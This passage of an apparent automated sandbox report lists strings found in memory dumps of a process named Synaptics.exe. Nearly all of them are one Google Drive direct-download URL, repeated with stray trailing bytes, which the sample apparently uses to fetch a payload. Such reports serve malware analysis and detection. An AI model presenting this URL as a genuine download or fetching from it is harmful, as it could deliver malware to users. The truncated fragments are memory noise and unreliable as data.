Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadThe
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU%7
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU4
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUM
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUp
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV4q$
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV5
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVWDFP
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVl
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVr
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW$
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWatch
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW~
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXG
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXO
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000004.00000002.2407807628.000000003360E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYx
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYyw
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYz
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_l
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_lpfd
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada-pla
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada5
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada:
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaF
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadac
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadam
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamP
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadame
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadan
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadap
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadar
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadat
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadate
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadax
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbjectCWt
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbs
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc-
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc-_
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc.
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcFh
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcO
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle~u
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadch-ua_
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadchc
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcisco
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.com
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcnc
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcnf/
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcontef
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadct.n
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctor/W(
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddL
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddp
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddsh
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd~E
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.U%
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.az
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeV
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaded.mo
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
